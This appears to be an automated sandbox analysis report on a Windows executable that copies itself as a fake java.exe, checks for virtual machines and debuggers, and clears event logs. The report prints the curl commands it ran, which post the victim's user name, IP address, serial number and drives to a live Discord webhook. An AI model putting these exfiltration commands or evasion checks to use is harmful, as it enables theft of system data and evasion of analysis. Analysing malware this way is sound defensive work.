
Process token adjusted: Security

Jump to behavior

Source: Jx6bD8nM4qW9sL3v.exe

Static PE information: invalid certificate

Source: classification engine

Classification label: mal76.expl.evad.winEXE@16/4@2/3

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC3EC9 CreateToolhelp32Snapshot,memset,Process32FirstW,_wcsicmp,Process32NextW,CloseHandle,?cout@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,

0_2_00007FF670FC3EC9

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC4990 CoInitializeEx,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,SysAllocString,SysFreeString,SysAllocString,SysFreeString,CoUninitialize,SysAllocString,SysFreeString,SysAllocString,SysFreeString,SysAllocString,VariantInit,VariantInit,SysAllocString,SysFreeString,VariantClear,VariantClear,VariantClear,CoUninitialize,

0_2_00007FF670FC4990

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

File created: C:\Users\user\AppData\Local\java.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5000:120:WilError_03

Source: Jx6bD8nM4qW9sL3v.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Jx6bD8nM4qW9sL3v.exe	ReversingLabs: Detection: 47%
Source: Jx6bD8nM4qW9sL3v.exe	Virustotal: Detection: 54%

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

File read: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe "C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe"
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\curl.exe curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:25.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm
Source: unknown	Process created: C:\Users\user\AppData\Local\java.exe C:\Users\user\AppData\Local\java.exe
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\curl.exe curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\curl.exe curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:25.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\curl.exe curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org	Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: vcruntime140_1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\curl.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Jx6bD8nM4qW9sL3v.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Jx6bD8nM4qW9sL3v.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Jx6bD8nM4qW9sL3v.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Jx6bD8nM4qW9sL3v.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC3FEA LoadLibraryA,GetProcAddress,FreeLibrary,GetCurrentProcess,NtQueryInformationProcess,FreeLibrary,

0_2_00007FF670FC3FEA

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

File created: C:\Users\user\AppData\Local\java.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC42B0 RtlAdjustPrivilege,NtRaiseHardError,GetConsoleWindow,ShowWindow,SetConsoleCtrlHandler,GetConsoleWindow,GetSystemMenu,RemoveMenu,GetModuleFileNameW,GetFileAttributesW,SetFileAttributesW,GdiplusStartup,CoUninitialize,OpenEventLogW,ClearEventLogW,CloseEventLog,_invalid_parameter_noinfo_noreturn,?cerr@std@@3V?$basic_ostream@DU?$char_traits@D@std@@@1@A,??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z,

0_2_00007FF670FC42B0

Malware Analysis System Evasion

Contain functionality to detect virtual machines

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VBox VBox VMware QEMU QEMU	0_2_00007FF670FC3EC9
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VMware QEMU QEMU	0_2_00007FF670FC4082
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VMware QEMU QEMU	0_2_00007FF670FC40AC
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VMware QEMU QEMU	0_2_00007FF670FC4130
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VMware QEMU QEMU	0_2_00007FF670FC3F89
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VBox VBox VMware QEMU QEMU	0_2_00007FF670FC3FEA
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: VMware VBox QEMU QEMU	0_2_00007FF670FC3E00
Source: C:\Users\user\AppData\Local\java.exe	Code function: VMware QEMU QEMU	6_2_00007FF65E1F3F89
Source: C:\Users\user\AppData\Local\java.exe	Code function: VBox VBox VMware QEMU QEMU	6_2_00007FF65E1F3FEA
Source: C:\Users\user\AppData\Local\java.exe	Code function: VMware QEMU QEMU	6_2_00007FF65E1F40AC
Source: C:\Users\user\AppData\Local\java.exe	Code function: VMware QEMU QEMU	6_2_00007FF65E1F4082
Source: C:\Users\user\AppData\Local\java.exe	Code function: VMware QEMU QEMU	6_2_00007FF65E1F4130
Source: C:\Users\user\AppData\Local\java.exe	Code function: VBox VBox VMware QEMU QEMU	6_2_00007FF65E1F3EC9
Source: C:\Users\user\AppData\Local\java.exe	Code function: VMware VBox QEMU QEMU	6_2_00007FF65E1F3E00

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Jx6bD8nM4qW9sL3v.exe, java.exe	Binary or memory string: OLLYDBG.EXE
Source: Jx6bD8nM4qW9sL3v.exe, java.exe	Binary or memory string: X64DBG.EXE
Source: java.exe.0.dr	Binary or memory string: SECURITY CHECK FAILED!\JAVA.EXEJAVAUPDATER\JAVA PLATFORM SEAPPLICATIONSYSTEMSECURITYNTDLL.DLLNTQUERYINFORMATIONPROCESSOLLYDBG.EXEX64DBG.EXEX32DBG.EXEIDA64.EXEIDA.EXECHEATENGINE-X86_64.EXESYSTEM\CURRENTCONTROLSET\CONTROL\CI\POLICYDEBUGPOLICYVMWAREVBOXQEMUVIRTUALSYSTEM\HARDWARECONFIG\CURRENT\SYSTEMMANUFACTURERBAD CASTFALSETRUEMAP/SET TOO LONG] [JSON.EXCEPTION.FAILED TO CALCULATE DECODED SIZEFAILED TO DECODE BASE64 STRINGCREATEPIPE FAILEDCREATEPROCESS FAILEDCOLORTIMESTAMPFIELDSFOOTERTEXTNAMEVALUEINLINEIMAGEURLEMBEDS%Y-%M-%DT%H:%M:%S.000Z\"\\" CURL -H "CONTENT-TYPE: APPLICATION/JSON" -X POST -D "WEBHOOK SENT. RESPONSE: ERROR SENDING WEBHOOK: AHR0CHM6LY9KAXNJB3JKLMNVBS9HCGKVD2VIAG9VA3MVMTMYMTMYODYWMJC5MJQ2MDMZMC9ROUNRTVVXAFBTBKXBOFLDR0ZPV2NOMXFZBWQ4U3PFEKHWNVJJRNJJDVL4OFVXVTJIU0CZZMR3NGDYMUM3QVZOSLFOBQ==LOCAL USERSYSTEM NAMEIP ADDRESSSERIAL NUMBERPRODUCT VERSIONDRIVESNEW CLIENTCANNOT USE OPERATOR[] WITH A NUMERIC ARGUMENT WITH {}{

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

0_2_00007FF670FC1780

Source: java.exe.0.dr	Binary or memory string: VMware
Source: java.exe.0.dr	Binary or memory string: Security check failed!\java.exeJavaUpdater\Java Platform SEApplicationSystemSecurityntdll.dllNtQueryInformationProcessollydbg.exex64dbg.exex32dbg.exeida64.exeida.execheatengine-x86_64.exeSYSTEM\CurrentControlSet\Control\CI\PolicyDebugPolicyVMwareVBoxQEMUVirtualSYSTEM\HardwareConfig\Current\SystemManufacturerbad castfalsetruemap/set too long] [json.exception.Failed to calculate decoded sizeFailed to decode base64 stringCreatePipe failedCreateProcess failedcolortimestampfieldsfootertextnamevalueinlineimageurlembeds%Y-%m-%dT%H:%M:%S.000Z\"\\" curl -H "Content-Type: application/json" -X POST -d "Webhook sent. Response: Error sending webhook: aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMyMTMyODYwMjc5MjQ2MDMzMC9ROUNRTVVxaFBtbkxBOFlDR0ZpV2NOMXFzbWQ4U3pFekhWNVJjRnJJdVl4OFVXVTJiU0czZmR3NGdyMUM3QVZoSlFobQ==local usersystem nameip addressserial numberproduct versionDrivesNew clientcannot use operator[] with a numeric argument with {}{
Source: curl.exe, 00000003.00000003.2025355988.0000018EE9645000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000005.00000003.2033480984.0000015BFD285000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000009.00000003.2051214870.000002C6CC524000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 0000000A.00000003.2059556756.00000269500F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC4082 GetCurrentProcess,CheckRemoteDebuggerPresent,

0_2_00007FF670FC4082

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FCE324 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF670FCE324

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe

Code function: 0_2_00007FF670FC3FEA LoadLibraryA,GetProcAddress,FreeLibrary,GetCurrentProcess,NtQueryInformationProcess,FreeLibrary,

0_2_00007FF670FC3FEA

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FCE324 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF670FCE324
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FCE050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF670FCE050
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Code function: 0_2_00007FF670FCE4C8 SetUnhandledExceptionFilter,	0_2_00007FF670FCE4C8
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1FE050 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	6_2_00007FF65E1FE050
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1FE4C8 SetUnhandledExceptionFilter,	6_2_00007FF65E1FE4C8
Source: C:\Users\user\AppData\Local\java.exe	Code function: 6_2_00007FF65E1FE324 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	6_2_00007FF65E1FE324

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org	Jump to behavior
Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\curl.exe curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:25.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org	Jump to behavior
Source: C:\Users\user\AppData\Local\java.exe	Process created: C:\Windows\System32\curl.exe curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -s https://api.ipify.org	Jump to behavior

Source: C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe	Process created: C:\Windows\System32\curl.exe curl -h "content-type: application/json" -x post -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"c6553afb\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"windows 6.2 (build 9200)\"},{\"inline\":false,\"name\":\"drives\",\"value\":\"c: (local) d: (cd-rom)\"}],\"footer\":{\"text\":\"new client\"},\"timestamp\":\"2024-12-30t11:32:25.000z\"}]}" https://discord.com/api/webhooks/1321328602792460330/q9cqmuqhpmnla8ycgfiwcn1qsmd8szezhv5rcfriuyx8uwu2bsg3fdw4gr1c7avhjqhm
